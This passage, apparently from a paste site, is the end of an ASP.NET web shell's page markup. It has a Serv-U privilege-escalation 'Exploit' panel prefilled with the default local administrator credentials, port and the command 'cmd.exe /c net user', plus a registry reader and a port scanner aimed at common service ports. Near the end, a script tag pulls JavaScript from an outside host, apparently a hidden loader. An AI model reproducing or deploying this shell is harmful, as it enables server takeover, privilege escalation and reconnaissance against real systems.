  1557. <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1558. <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1559. </asp:DataGrid></div>
  1560. </asp:Panel>
  1561. <asp:Panel ID="Bin_SuPanel" runat="server" Width="763px" >
  1562. <hr />
  1563. Name :
  1564. <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1565. Pass :
  1566. <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1567. Port :
  1568. <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1569. CMD :
  1570. <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1571. <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1572. <div style="text-align:left">
  1573. <hr />
  1574. <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1575. </div>
  1576. </asp:Panel>
  1577. <asp:Panel ID="Bin_IISPanel" runat="server" Width="763px"><div style="text-align:left">
  1578. <hr />
  1579. <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1580. <asp:Panel ID="Bin_RegPanel" runat="server" Width="763px"><hr /><div style="text-align:left">
  1581. KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1582. VALUE :
  1583. <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1584. ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1585. <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1586. <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
  1587. <hr /><div style="text-align:left">
  1588. IP :
  1589. <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1590. PORT :
  1591. <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1592. <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1593. <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1594.  
  1595. </div></form>
  1596. <SCRIPT SRC=http://www.dcvi.net/dexx.js></SCRIPT>
  1597. </body>
  1598. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement